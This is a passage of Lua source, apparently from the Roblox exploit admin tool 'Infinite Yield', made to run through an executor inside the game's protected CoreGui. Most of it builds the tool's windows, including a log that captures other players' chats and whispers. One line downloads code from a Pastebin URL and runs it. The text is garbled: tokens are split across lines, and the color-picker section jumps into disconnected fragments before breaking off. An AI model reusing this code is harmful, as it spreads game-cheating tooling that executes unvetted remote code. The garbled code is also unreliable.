shadow.Size = UDim2.new(0, 438, 0, 26)
Exit.Name = "Exit"
Exit.Parent = shadow
Exit.BackgroundColor3 = Color3.new(1, 0, 0)
Exit.BackgroundTransparency = 0.30000001192093
Exit.BorderColor3 = Color3.new(1, 0, 0)
Exit.BorderSizePixel = 0
Exit.Position = UDim2.new(0, 415, 0, 3)
Exit.Size = UDim2.new(0, 20, 0, 20)
Exit.FontSize = Enum.FontSize.Size14
Exit.Text = ""
PopupText.Name = "PopupText"
PopupText.Parent = shadow
PopupText.BackgroundTransparency = 1
PopupText.Position = UDim2.new(0, 61, 0, -4)
PopupText.Size = UDim2.new(0.760273993, -16, 1.15384614, 0)
PopupText.ZIndex = 6
PopupText.Font = Enum.Font.SourceSansBold
PopupText.FontSize = Enum.FontSize.Size32
PopupText.Text = "Aliases"
PopupText.TextColor3 = Color3.new(0.97, 0.97, 0.97)
PopupText.TextStrokeTransparency = 0
PopupText.TextWrapped = true
PopupText.TextYAlignment = Enum.TextYAlignment.Top
updatealiases()
drag:TweenPosition(UDim2.new(0.5, -225, 0, 100), "InOut", "Quart", 0.5, true, nil)
Exit.MouseButton1Click:Connect(function()
drag:TweenPosition(UDim2.new(0.5, -225, 0, -400), "InOut", "Quart", 0.5, true, nil)
wait(0.6) aliasesopen = false aliases:Destroy() end) end end
end)
dragmodel(game:GetService("InsertService"):LoadLocalAsset("rbxassetid://" ..
v.AssetId), window, ModelContainerFrame, v.Name)
Notify('Inserted ' .. v.Name .. '. Click: place | E: Cancel | R: Rotate
| T: tilt')
ModelContainerFrame:TweenPosition(UDim2.new(0, 0, 0, -300), "InOut",
"Quart", 0.5, true, nil)
end)
Notify('Select a model to insert')
drag:TweenPosition(UDim2.new(0.5, -225, 0, 100), "InOut", "Quart", 0.5, true, nil)
Exit.MouseButton1Click:Connect(function()
drag:TweenPosition(UDim2.new(0.5, -225, 0, -400), "InOut", "Quart", 0.5, true, nil)
wait(0.6) Models:Destroy() end) end end
end)
cmdBAR:TweenSizeAndPosition(UDim2.new(0,250+math.floor(math.max(0,diff)),0,25),UDim
2.new(0,10-math.floor(math.max(0,diff)),1,-
35),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.5,true)
end)
cmdBAR.Focused:Connect(function() historyCount = 0 end)
game:GetService("UserInputService").InputBegan:Connect(function(input)
if not cmdBAR:IsFocused() then return end
if input.KeyCode == Enum.KeyCode.Up then
historyCount = historyCount + 1
if historyCount > #cmdHistory then historyCount = #cmdHistory end
cmdBAR.Text = cmdHistory[historyCount] or ""
elseif input.KeyCode == Enum.KeyCode.Down then
historyCount = historyCount - 1
if historyCount < 1 then historyCount = 1 end
cmdBAR.Text = cmdHistory[historyCount] or ""
end
end)
NOTIFY = DATA.Notification
NOTIFY.Parent = game.CoreGui
local usingNOTE = false
function Notify(msg)
spawn(function()
if NOTIFY.NOTIFY and NOTIFY.NOTIFY.NOTE then
NOTIFY.NOTIFY:TweenPosition(UDim2.new(0,0,0,-100), "InOut",
"Quart", 0.5, true, nil)
wait(0.5)
MusicPlayer:Hide()
if qopen == true then
quickmenu.sheild.cmds:TweenPosition(UDim2.new(0, 50, 0, -
50), "InOut", "Quart", 0.5, true, nil) wait(0.01)
quickmenu.sheild.settings:TweenPosition(UDim2.new(0, 146,
0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01)
quickmenu.sheild.updates:TweenPosition(UDim2.new(0, 220, 0,
-50), "InOut", "Quart", 0.5, true, nil) wait(0.01)
quickmenu.sheild.info:TweenPosition(UDim2.new(0, 290, 0, -
50), "InOut", "Quart", 0.5, true, nil) wait(0.01)
quickmenu.sheild.mix:TweenPosition(UDim2.new(0, 340, 0, -
50), "InOut", "Quart", 0.5, true, nil) wait(0.01) qopen = false
NOTIFY.NOTIFY.NOTE.Text = msg
NOTIFY.NOTIFY:TweenPosition(UDim2.new(0, 0, 0, -38),
"InOut", "Quart", 0.5, true, nil)
if playerenabled == true then
wait(4)
if playerenabled == true then
MusicPlayer:Show()
NOTIFY.NOTIFY:TweenPosition(UDim2.new(0,0,0,-100), "InOut",
"Quart", 0.5, true, nil)
end
end
else
NOTIFY.NOTIFY.NOTE.Text = msg
NOTIFY.NOTIFY:TweenPosition(UDim2.new(0, 0, 0, -38),
"InOut", "Quart", 0.5, true, nil)
if playerenabled == true then
wait(4)
if playerenabled == true then
MusicPlayer:Show()
NOTIFY.NOTIFY:TweenPosition(UDim2.new(0,0,0,-100), "InOut",
"Quart", 0.5, true, nil)
end
end
end end end) end
local loadbar = Instance.new("ScreenGui") local Loading = Instance.new("TextLabel")
local fr = Instance.new("Frame") local ba = Instance.new("Frame") loadbar.Name =
"loadbar" loadbar.Parent = game.CoreGui
Loading.Name = "Loading" Loading.Parent = loadbar Loading.BackgroundColor3 =
Color3.new(1, 1, 1) Loading.BackgroundTransparency = 1 Loading.Position =
UDim2.new(0.25, 0, 0.875, 0) Loading.Size = UDim2.new(0.5, 0, 0, 50)
Loading.ZIndex = 101 Loading.Font = Enum.Font.ArialBold Loading.FontSize =
Enum.FontSize.Size24 Loading.Text = "Loading..." Loading.TextColor3 = Color3.new(0,
0, 0) Loading.TextStrokeColor3 = Color3.new(1, 1, 1) Loading.TextStrokeTransparency
= 0.5
Loading.TextTransparency = 0.10000000149012 Loading.TextWrapped = true fr.Name =
"fr" fr.Parent = Loading fr.BackgroundColor3 = Color3.new(0.196078, 0.196078,
0.196078) fr.BackgroundTransparency = 0.30000001192093
fr.BorderColor3 = Color3.new(0.196078, 0.196078, 0.196078) fr.BorderSizePixel = 2
fr.Size = UDim2.new(1, 0, 1, 0) ba.ZIndex = 100 fr.ZIndex = 99 ba.Name = "ba"
ba.Parent = Loading ba.BackgroundColor3 = Color3.new(0.0980392, 0.0980392,
0.0980392) ba.BorderColor3 = Color3.new(0.0980392, 0.0980392, 0.0980392)
ba.BorderSizePixel = 0 ba.Size = UDim2.new(0, 0, 1, 0)
if aliasSave then
for i = 1, #aliasSave do
execCmd("877241loadalias "..aliasSave[i].CMD.." "..aliasSave[i].ALIAS)
end else
aliasSave = {} wait(0.1) updatefile()
for i = 1, #aliasSave do
execCmd("877241loadalias "..aliasSave[i].CMD.." "..aliasSave[i].ALIAS)
end end
Loading.ba:TweenSize(UDim2.new(0.3, 0, 1, 0), "InOut", "Quart", 1, true, nil)
commands() wait(0.01) game.CoreGui.cp:Destroy() cmdOpen = false
local Logs = Instance.new("ScreenGui")
logdrag = Instance.new("Frame")
local PromptDialog = Instance.new("Frame")
local ContainerFrame = Instance.new("Frame")
local pos = Instance.new("Frame")
local clear = Instance.new("TextButton")
local scroll = Instance.new("ScrollingFrame")
local hl = Instance.new("Frame")
local whispers = Instance.new("Frame")
local CheckBox = Instance.new("ImageButton")
local box = Instance.new("TextButton")
local whispers_2 = Instance.new("TextLabel")
local chats = Instance.new("Frame")
local CheckBox_2 = Instance.new("ImageButton")
local box_2 = Instance.new("TextButton")
local chats_2 = Instance.new("TextLabel")
local commands = Instance.new("Frame")
local CheckBox_3 = Instance.new("ImageButton")
local box_3 = Instance.new("TextButton")
local commands_2 = Instance.new("TextLabel")
local shadow = Instance.new("Frame")
local Exit = Instance.new("TextButton")
local PopupText = Instance.new("TextLabel")
local Hide = Instance.new("TextButton")
Logs.Name = "Logs"
Logs.Parent = game.CoreGui
logdrag.Name = "drag"
logdrag.Parent = Logs
logdrag.Active = true
logdrag.BackgroundColor3 = Color3.new(1, 1, 1)
logdrag.BackgroundTransparency = 1
dragGUI(logdrag)
logdrag.Position = UDim2.new(0.5, -225, 0, -400)
logdrag.Size = UDim2.new(0, 438, 0, 26)
PromptDialog.Name = "PromptDialog"
PromptDialog.Parent = logdrag
PromptDialog.BackgroundColor3 = Color3.new(0, 0, 0)
PromptDialog.BackgroundTransparency = 1
PromptDialog.BorderSizePixel = 0
PromptDialog.Position = UDim2.new(0, 0, 0, -2)
PromptDialog.Size = UDim2.new(0, 438, 0, 300)
PromptDialog.ZIndex = 5
PromptDialog.ClipsDescendants = true
ContainerFrame.Name = "ContainerFrame"
ContainerFrame.Parent = PromptDialog
ContainerFrame.BackgroundColor3 = maincolor
ContainerFrame.BackgroundTransparency = 0.5
ContainerFrame.BorderColor3 = Color3.new(0, 0, 0)
ContainerFrame.BorderSizePixel = 0
ContainerFrame.Position = UDim2.new(0, 0, 0, 29)
ContainerFrame.Size = UDim2.new(1, 0, 0.829999983, 0)
ContainerFrame.ZIndex = 5
pos.Name = "pos"
pos.Parent = ContainerFrame
pos.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
pos.BackgroundTransparency = 1
pos.BorderColor3 = Color3.new(0, 0, 0)
pos.BorderSizePixel = 0
pos.Position = UDim2.new(0, 10, 0, 9)
pos.Size = UDim2.new(0, 428, 0, 230)
pos.ZIndex = 5
clear.Name = "clear"
clear.Parent = pos
clear.BackgroundColor3 = Color3.new(0, 0, 0)
clear.BackgroundTransparency = 0.80000001192093
clear.BorderColor3 = Color3.new(1, 1, 1)
clear.Position = UDim2.new(0, 3, 0, 3)
clear.Size = UDim2.new(0, 70, 0, 20)
clear.ZIndex = 5
clear.Font = Enum.Font.SourceSans
clear.FontSize = Enum.FontSize.Size14
clear.Text = "Clear"
clear.TextColor3 = Color3.new(1, 1, 1)
scroll.Name = "scroll"
scroll.Parent = pos
scroll.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
scroll.BackgroundTransparency = 1
scroll.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
scroll.BorderSizePixel = 0
scroll.Size = UDim2.new(0, 413, 0, 193)
scroll.Position = UDim2.new(0.007, 0, 0.152, 0)
scroll.ZIndex = 5
scroll.BottomImage = "rbxasset://textures/blackBkg_square.png"
scroll.CanvasSize = UDim2.new(0, 0, 0, 10)
scroll.MidImage = "rbxasset://textures/blackBkg_square.png"
scroll.ScrollBarThickness = 8
scroll.TopImage = "rbxasset://textures/blackBkg_square.png"
hl.Name = "hl"
hl.Parent = pos
hl.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
hl.BackgroundTransparency = 0.5
hl.BorderColor3 = Color3.new(0, 0, 0)
hl.BorderSizePixel = 0
hl.Position = UDim2.new(0, 2, 0, 35)
hl.Size = UDim2.new(0.799065411, 72, 0.839130461, 0)
hl.ZIndex = 5
whispers.Name = "whispers"
whispers.Parent = pos
whispers.BackgroundColor3 = Color3.new(1, 1, 1)
whispers.BackgroundTransparency = 1
whispers.Size = UDim2.new(0, 428, 0, 230)
CheckBox.Name = "CheckBox"
CheckBox.Parent = whispers
CheckBox.BackgroundTransparency = 1
CheckBox.Position = UDim2.new(0.574635506, 0, 0, 2)
CheckBox.Size = UDim2.new(0, 20, 0, 20)
CheckBox.ZIndex = 6
CheckBox.Image = "http://www.roblox.com/asset/?id=65492641"
box.Name = "box"
box.Parent = whispers
box.BackgroundColor3 = Color3.new(0, 0, 0)
box.BackgroundTransparency = 0.80000001192093
box.BorderColor3 = Color3.new(1, 1, 1)
box.Position = UDim2.new(0, 172, 0, 3)
box.Size = UDim2.new(0, 94, 0, 20)
box.ZIndex = 5
box.Font = Enum.Font.SourceSans
box.FontSize = Enum.FontSize.Size14
box.Text = ""
box.TextColor3 = Color3.new(1, 1, 1)
whispers_2.Name = "whispers"
whispers_2.Parent = whispers
whispers_2.BackgroundColor3 = Color3.new(1, 1, 1)
whispers_2.BackgroundTransparency = 1
whispers_2.Position = UDim2.new(0, 172, 0, 3)
whispers_2.Size = UDim2.new(0.126168221, 20, -0.0434782617, 30)
whispers_2.ZIndex = 6
whispers_2.Font = Enum.Font.SourceSansBold
whispers_2.FontSize = Enum.FontSize.Size14
whispers_2.Text = "Whispers"
whispers_2.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392)
chats.Name = "chats"
chats.Parent = pos
chats.BackgroundColor3 = Color3.new(1, 1, 1)
chats.BackgroundTransparency = 1
chats.Size = UDim2.new(0, 428, 0, 230)
CheckBox_2.Name = "CheckBox"
CheckBox_2.Parent = chats
CheckBox_2.BackgroundTransparency = 1
CheckBox_2.Position = UDim2.new(0.324635506, 0, 3.49245965e-08, 2)
CheckBox_2.Size = UDim2.new(0, 20, 0, 20)
CheckBox_2.ZIndex = 6
CheckBox_2.Image = "http://www.roblox.com/asset/?id=65492641"
box_2.Name = "box"
box_2.Parent = chats
box_2.BackgroundColor3 = Color3.new(0, 0, 0)
box_2.BackgroundTransparency = 0.80000001192093
box_2.BorderColor3 = Color3.new(1, 1, 1)
box_2.Position = UDim2.new(0, 86, 0, 3)
box_2.Size = UDim2.new(0, 73, 0, 20)
box_2.ZIndex = 5
box_2.Font = Enum.Font.SourceSans
box_2.FontSize = Enum.FontSize.Size14
box_2.Text = ""
box_2.TextColor3 = Color3.new(1, 1, 1)
chats_2.Name = "chats"
chats_2.Parent = chats
chats_2.BackgroundColor3 = Color3.new(1, 1, 1)
chats_2.BackgroundTransparency = 1
chats_2.Position = UDim2.new(0, 86, 0, 2)
chats_2.Size = UDim2.new(0.0771028027, 20, -0.0434782617, 30)
chats_2.ZIndex = 6
chats_2.Font = Enum.Font.SourceSansBold
chats_2.FontSize = Enum.FontSize.Size14
chats_2.Text = "Chats"
chats_2.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392)
commands.Name = "commands"
commands.Parent = pos
commands.BackgroundColor3 = Color3.new(1, 1, 1)
commands.BackgroundTransparency = 1
commands.Size = UDim2.new(0, 428, 0, 230)
CheckBox_3.Name = "CheckBox"
CheckBox_3.Parent = commands
CheckBox_3.BackgroundTransparency = 1
CheckBox_3.Position = UDim2.new(0.844495356, 0, 0, 2)
CheckBox_3.Size = UDim2.new(0, 20, 0, 20)
CheckBox_3.ZIndex = 6
CheckBox_3.Image = "http://www.roblox.com/asset/?id=65492641"
box_3.Name = "box"
box_3.Parent = commands
box_3.BackgroundColor3 = Color3.new(0, 0, 0)
box_3.BackgroundTransparency = 0.80000001192093
box_3.BorderColor3 = Color3.new(1, 1, 1)
box_3.Position = UDim2.new(0, 279, 0, 3)
box_3.Size = UDim2.new(0, 102, 0, 20)
box_3.ZIndex = 5
box_3.Font = Enum.Font.SourceSans
box_3.FontSize = Enum.FontSize.Size14
box_3.Text = ""
box_3.TextColor3 = Color3.new(1, 1, 1)
commands_2.Name = "commands"
commands_2.Parent = commands
commands_2.BackgroundColor3 = Color3.new(1, 1, 1)
commands_2.BackgroundTransparency = 1
commands_2.Position = UDim2.new(0, 279, 0, 3)
commands_2.Size = UDim2.new(0.144859806, 20, -0.0434782617, 30)
commands_2.ZIndex = 6
commands_2.Font = Enum.Font.SourceSansBold
commands_2.FontSize = Enum.FontSize.Size14
commands_2.Text = "Commands"
commands_2.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392)
shadow.Name = "shadow"
shadow.Parent = PromptDialog
shadow.BackgroundColor3 = maincolor
shadow.BackgroundTransparency = 0.30000001192093
shadow.BorderColor3 = Color3.new(0, 0, 0)
shadow.BorderSizePixel = 0
shadow.Position = UDim2.new(0, 0, 0.00999999978, 0)
shadow.Size = UDim2.new(0, 438, 0, 26)
Exit.Name = "Exit"
Exit.Parent = shadow
Exit.BackgroundColor3 = Color3.new(1, 0, 0)
Exit.BackgroundTransparency = 0.30000001192093
Exit.BorderColor3 = Color3.new(1, 0, 0)
Exit.BorderSizePixel = 0
Exit.Position = UDim2.new(0, 415, 0, 3)
Exit.Size = UDim2.new(0, 20, 0, 20)
Exit.FontSize = Enum.FontSize.Size14
Exit.Text = ""
PopupText.Name = "PopupText"
PopupText.Parent = shadow
PopupText.BackgroundTransparency = 1
PopupText.Position = UDim2.new(0, 61, 0, -5)
PopupText.Size = UDim2.new(0.760273993, -16, 1.15384614, 0)
PopupText.ZIndex = 6
PopupText.Font = Enum.Font.SourceSansBold
PopupText.TextSize = 31
PopupText.Text = "Logs"
PopupText.TextColor3 = Color3.new(0.97, 0.97, 0.97)
PopupText.TextStrokeTransparency = 0
PopupText.TextWrapped = true
PopupText.TextYAlignment = Enum.TextYAlignment.Top
Hide.Name = "Hide"
Hide.Parent = shadow
Hide.BackgroundColor3 = Color3.new(1, 1, 1)
Hide.BackgroundTransparency = 0.30000001192093
Hide.BorderColor3 = Color3.new(1, 1, 1)
Hide.BorderSizePixel = 0
Hide.Position = UDim2.new(0.800000012, 41, 0, 3)
Hide.Size = UDim2.new(0, 20, 0, 20)
Hide.FontSize = Enum.FontSize.Size14
Hide.Text = ""
checked = "http://www.roblox.com/asset/?id=65492641"
unchecked = "http://www.roblox.com/asset/?id=65492651"
if chatsV == true then
CheckBox_2.Image = checked else
CheckBox_2.Image = unchecked end
box_2.MouseButton1Down:connect(function()
if chatsV == true then chatsV = false
CheckBox_2.Image = unchecked updatefile() else
chatsV = true
CheckBox_2.Image = checked updatefile() end end)
if whispersV == true then
CheckBox.Image = checked else
CheckBox.Image = unchecked end
box.MouseButton1Down:connect(function()
if whispersV == true then whispersV = false
CheckBox.Image = unchecked updatefile() else
whispersV = true
CheckBox.Image = checked updatefile() end end)
if commandsV == true then
CheckBox_3.Image = checked else
CheckBox_3.Image = unchecked end
box_3.MouseButton1Down:connect(function()
if commandsV == true then commandsV = false
CheckBox_3.Image = unchecked updatefile() else
commandsV = true
CheckBox_3.Image = checked updatefile() end end)
clear.MouseButton1Down:connect(function()
for _, child in pairs( scroll:GetChildren()) do
child:Destroy() end
scroll.CanvasSize = UDim2.new(0, 0, 0, 10)
end)
Exit.MouseButton1Down:connect(function()
logdrag:TweenPosition(UDim2.new(0.5, -225, 0, -400), "InOut", "Quart", 0.5, true,
nil)
logsopen = false
end)
local hidden = false
Hide.MouseButton1Down:connect(function()
if hidden == false then hidden = true
ContainerFrame:TweenPosition(UDim2.new(0, 0, 0, -300), "InOut", "Quart", 0.5, true,
nil)
else ContainerFrame:TweenPosition(UDim2.new(0, 0, 0, 29), "InOut", "Quart", 0.5,
true, nil) hidden = false
end end)
function logtime() -- time function from aperture
local HOUR = math.floor((tick() % 86400) / 3600)
local MINUTE = math.floor((tick() % 3600) / 60)
local SECOND = math.floor(tick() % 60)
local AP = HOUR > 11 and 'PM' or 'AM'
HOUR = (HOUR % 12 == 0 and 12 or HOUR % 12)
HOUR = HOUR < 10 and '0' .. HOUR or HOUR
MINUTE = MINUTE < 10 and '0' .. MINUTE or MINUTE
SECOND = SECOND < 10 and '0' .. SECOND or SECOND
return HOUR .. ':' .. MINUTE .. ':' .. SECOND .. ' ' .. AP end
function CreateLabel(Name, Text)
local sf = scroll
if #sf:GetChildren() >= 2546 then
sf:ClearAllChildren()
end
local alls = 0
for i,v in pairs(sf:GetChildren()) do
if v then
alls = v.Size.Y.Offset + alls
end
if not v then
alls = 0
end
end
local tl = Instance.new('TextLabel', sf)
local il = Instance.new('Frame', tl)
tl.Name = Name
tl.ZIndex = 6
tl.Text = logtime().." - ["..Name.."]: "..Text
tl.Size = UDim2.new(0,410,0,84)
tl.BackgroundTransparency = 1
tl.BorderSizePixel = 0
tl.Font = "SourceSansBold"
tl.Position = UDim2.new(-1,0,0,alls)
tl.TextTransparency = 1
tl.TextScaled = false
tl.TextSize = 14
tl.TextWrapped = true
tl.TextXAlignment = "Left"
tl.TextYAlignment = "Top"
il.BackgroundTransparency = 1
il.BorderSizePixel = 0
il.Size = UDim2.new(0,12,1,0)
il.Position = UDim2.new(0,410,0,0)
tl.TextColor3 = Color3.fromRGB(255,255,255)
tl.Size = UDim2.new(0,410,0,tl.TextBounds.Y)
sf.CanvasSize = UDim2.new(0,0,0,alls+tl.TextBounds.Y)
sf.CanvasPosition = Vector2.new(0,sf.CanvasPosition.Y+tl.TextBounds.Y)
local size2 = sf.CanvasSize.Y.Offset
tl:TweenPosition(UDim2.new(0,0,0,alls), 'In', 'Quint', 0.5)
for i = 0,50 do wait(0.05)
tl.TextTransparency = tl.TextTransparency - 0.05
end
tl.TextTransparency = 0
end logsloaded = true
local intro = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local Circle = Instance.new("ImageLabel")
local ImageLabel = Instance.new("ImageLabel")
intro.Name = "intro"
intro.Parent = game.CoreGui
Frame.Parent = intro
Frame.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
Frame.BackgroundTransparency = 1
Frame.BorderSizePixel = 0
Frame.ClipsDescendants = true
Frame.Position = UDim2.new(0.5, -125, 0.5, -125)
Frame.Size = UDim2.new(0, 250, 0, 250)
Circle.Name = "Circle"
Circle.Parent = Frame
Circle.BackgroundColor3 = Color3.new(0.243137, 0.243137, 0.243137)
Circle.BackgroundTransparency = 1
Circle.BorderSizePixel = 0
Circle.Position = UDim2.new(0.5, 0, 0.5, 0)
Circle.Image = "rbxassetid://631172870"
Circle.ImageColor3 = Color3.new(0.121569, 0.121569, 0.121569)
ImageLabel.Parent = Frame
ImageLabel.BackgroundColor3 = Color3.new(1, 1, 1)
ImageLabel.BackgroundTransparency = 1
ImageLabel.BorderSizePixel = 0
ImageLabel.Position = UDim2.new(0.5, 0, 0.5, 0)
ImageLabel.Image = "rbxassetid://1352543873"
Loading.ba:TweenSize(UDim2.new(0.35, 0, 1, 0), "InOut", "Quart", 0.5, true, nil)
local g = intro
local f = Frame
local imagef = Circle
local logof = ImageLabel
loadedintro = false
local function tween2()
f:TweenSizeAndPosition(UDim2.new(0,250,0,250),UDim2.new(0.5,-125,0.5,-125), "Out",
"Quart", 0.4)
wait(0.6) loadedintro = true end
local function tween1()
f:TweenSizeAndPosition(UDim2.new(0,300,0,300),UDim2.new(0.5,-150,0.5,-150), "In",
"Quart", 0.4, false, tween2) end
imagef:TweenSizeAndPosition(UDim2.new(3,0,3,0),UDim2.new(-1,0,-1,0), "Out",
"Linear", 0.4)
logof:TweenSizeAndPosition(UDim2.new(1,0,1,0),UDim2.new(0,0,0,0), "Out", "Linear",
0.4, false, tween1)
if pcall(function()
loadstring(game:HttpGet(('https://pastebin.com/raw/wcEw3rW9'),true))() end) then
if workspace.FilteringEnabled == true then
Notify('Filtering ENABLED '..ServerMessage)
elseif workspace.FilteringEnabled == false then
Notify('Filtering Disabled '..ServerMessage)
end
else
if workspace.FilteringEnabled == true then
Notify('Filtering ENABLED')
elseif
workspace.FilteringEnabled == false then
Notify('Filtering Disabled')
end
end
Loading.ba:TweenSize(UDim2.new(0.45, 0, 1, 0), "InOut", "Quart", 0.4, true, nil)
local iy = Instance.new("ImageButton") local sheild = Instance.new("Frame") local
cmds = Instance.new("ImageButton") local cmds_2 = Instance.new("TextLabel")
local settings = Instance.new("ImageButton") local settings_2 =
Instance.new("TextLabel") local updates = Instance.new("ImageButton") local
updates_2 = Instance.new("TextLabel")
local info = Instance.new("ImageButton") local info_2 = Instance.new("TextLabel")
local mix = Instance.new("ImageButton") local mix_2 = Instance.new("TextLabel")
local MAIN = Instance.new("TextLabel") iy.Name = "iy" iy.Parent =
game.CoreGui.RobloxGui.TopBarContainer
iy.BackgroundTransparency = 1 iy.Position = UDim2.new(0, 2, 0, -38) iy.Size =
UDim2.new(0, 50, 0, 36) iy.AutoButtonColor = false sheild.Name = "sheild"
sheild.Parent = iy sheild.BackgroundColor3 = Color3.new(1, 1, 1)
sheild.BackgroundTransparency = 1 sheild.Size = UDim2.new(0, 320, 0, 35) cmds.Name
= "cmds" cmds.Parent = sheild cmds.BackgroundTransparency = 1 cmds.Position =
UDim2.new(0, 50, 0, 0) cmds.Size = UDim2.new(0, 80, 0, 36)
cmds.AutoButtonColor = false cmds_2.Name = "cmds" cmds_2.Parent = cmds
cmds_2.BackgroundColor3 = Color3.new(1, 1, 1) cmds_2.BackgroundTransparency = 1
cmds_2.Position = UDim2.new(0, 0, 0, -2)
cmds_2.Size = UDim2.new(0, 80, 0, 40) cmds_2.Font = Enum.Font.Arial cmds_2.FontSize
= Enum.FontSize.Size14 cmds_2.Text = "Commands" cmds_2.TextColor3 = Color3.new(1,
1, 1) cmds_2.TextStrokeTransparency = 0.69999998807907
settings.Name = "settings" settings.Parent = sheild settings.BackgroundTransparency
= 1 settings.Position = UDim2.new(0, 146, 0, 0) settings.Size = UDim2.new(0, 60, 0,
36) settings.AutoButtonColor = false
settings_2.Name = "settings" settings_2.Parent = settings
settings_2.BackgroundColor3 = Color3.new(1, 1, 1) settings_2.BackgroundTransparency
= 1 settings_2.Position = UDim2.new(0, 0, 0, -2)
settings_2.Size = UDim2.new(0, 60, 0, 40) settings_2.Font = Enum.Font.Arial
settings_2.FontSize = Enum.FontSize.Size14 settings_2.Text = "Script Hub"
settings_2.TextColor3 = Color3.new(1, 1, 1)
settings_2.TextStrokeTransparency = 0.69999998807907 updates.Name = "updates"
updates.Parent = sheild updates.BackgroundTransparency = 1 updates.Position =
UDim2.new(0, 220, 0, 0)
updates.Size = UDim2.new(0, 60, 0, 36) updates.AutoButtonColor = false
updates_2.Name = "updates" updates_2.Parent = updates updates_2.BackgroundColor3 =
Color3.new(1, 1, 1) updates_2.BackgroundTransparency = 1
updates_2.Position = UDim2.new(0, 0, 0, -2) updates_2.Size = UDim2.new(0, 60, 0,
40) updates_2.Font = Enum.Font.Arial updates_2.FontSize = Enum.FontSize.Size14
updates_2.Text = "Server" updates_2.TextColor3 = Color3.new(1, 1, 1)
updates_2.TextStrokeTransparency = 0.69999998807907 info.Name = "info" info.Parent
= sheild info.BackgroundTransparency = 1 info.Position = UDim2.new(0, 290, 0, 0)
info.Size = UDim2.new(0, 35, 0, 36) info.AutoButtonColor = false info_2.Name =
"info" info_2.Parent = info info_2.BackgroundColor3 = Color3.new(1, 1, 1)
info_2.BackgroundTransparency = 1 info_2.Position = UDim2.new(0, 0, 0, -2)
info_2.Size = UDim2.new(0, 30, 0, 40) info_2.Font = Enum.Font.Arial info_2.FontSize
= Enum.FontSize.Size14 info_2.Text = "Info" info_2.TextColor3 = Color3.new(1, 1, 1)
mix.Name = "mix" mix.Parent = sheild mix.BackgroundTransparency = 1 mix.Position =
UDim2.new(0, 340, 0, 0)
mix.Size = UDim2.new(0, 35, 0, 36) mix.AutoButtonColor = false mix_2.Name = "mix"
mix_2.Parent = mix mix_2.BackgroundColor3 = Color3.new(1, 1, 1)
mix_2.BackgroundTransparency = 1 mix_2.Position = UDim2.new(0, 0, 0, -2)
mix_2.Size = UDim2.new(0, 30, 0, 40) mix_2.Font = Enum.Font.Arial mix_2.FontSize =
Enum.FontSize.Size14 mix_2.Text = "Color" mix_2.TextColor3 = Color3.new(1, 1, 1)
mix_2.TextStrokeTransparency = 0.7
lockic = Instance.new("ImageLabel")
lockic.Name = "lock"
lockic.Parent = iy
lockic.BackgroundColor3 = Color3.new(1, 1, 1)
lockic.BackgroundTransparency = 1
lockic.ImageTransparency = 1
lockic.BorderSizePixel = 0
lockic.Position = UDim2.new(0, 53, 0, -3)
lockic.Size = UDim2.new(0, 40, 0, 40)
lockic.Image = "rbxassetid://1495252742"
info_2.TextStrokeTransparency = 0.69999998807907 MAIN.Name = "MAIN" MAIN.Parent =
iy MAIN.BackgroundColor3 = Color3.new(1, 1, 1) MAIN.BackgroundTransparency = 1
MAIN.Position = UDim2.new(0, 2, 0, -2)
MAIN.Size = UDim2.new(0, 40, 0, 40) MAIN.Font = Enum.Font.ArialBold MAIN.FontSize =
Enum.FontSize.Size24 MAIN.Text = "IY" MAIN.TextColor3 = Color3.new(1, 1, 1)
MAIN.TextStrokeTransparency = 0.69999998807907
Loading.ba:TweenSize(UDim2.new(0.7, 0, 1, 0), "InOut", "Quart", 0.5, true, nil)
quickmenu = game.CoreGui.RobloxGui.TopBarContainer.iy
local TopBarContainer = Instance.new("Frame") TopBarContainer.Name =
"TopBarContainer" TopBarContainer.Parent = game.CoreGui.RobloxGui
TopBarContainer.Active = true TopBarContainer.BackgroundColor3 =
Color3.new(0.121569, 0.121569, 0.121569)
TopBarContainer.BackgroundTransparency = 0.5 TopBarContainer.BorderSizePixel = 0
TopBarContainer.Position = UDim2.new(0, 0, 0, -72) TopBarContainer.Size =
UDim2.new(1, 0, 0, 36) TopBarContainer.ZIndex = 0
picker =
game:GetService("InsertService"):LoadLocalAsset("rbxassetid://02011075373")
picker.Parent = game.CoreGui picker.ColorPicker.Visible = false
picker.ColorPicker.Position = UDim2.new(0.5, -219, 0, -500)
quickmenu.sheild.mix.MouseButton1Click:connect(function()
picker.ColorPicker.Visible = true picker.ColorPicker:TweenPosition(UDim2.new(0.5, -
219, 0, 100), "InOut", "Quart", 0.5, true, nil) end)
PKR = picker.ColorPicker
local ColorPicker do
ColorPicker = {}
ColorPicker.new = function()
local newMt = setmetatable({},{})
chosenColor = Color3.new(red,green,blue)
colorScope.Position = UDim2.new(0,relativeX-9,0,relativeY-9)
colorStrip.ImageColor3 = Color3.fromHSV(hue,sat,1)
colorArrow.Position = UDim2.new(0,-2,0,relativeStripY-4)
previewFrame.BackgroundColor3 = chosenColor
newMt.Color = chosenColor
if newMt.Changed then newMt:Changed(chosenColor) end
end
updateColor()
end
updateColor()
end
releaseEvent =
user.InputEnded:Connect(function(input)
if input.UserInputType ~=
Enum.UserInputType.MouseButton1 then return end
releaseEvent:Disconnect()
pressing = false
end)
startNum = startNum + 1
func(startNum)
while pressing do
if tick()-startTime > 0.3 then
startNum = startNum + 1
func(startNum)
end
wait(0.1)
end
end
end)
frame.ArrowFrame.Up.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement
then
frame.ArrowFrame.Up.BackgroundTransparency = 1
end
end)
frame.ArrowFrame.Down.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement
then
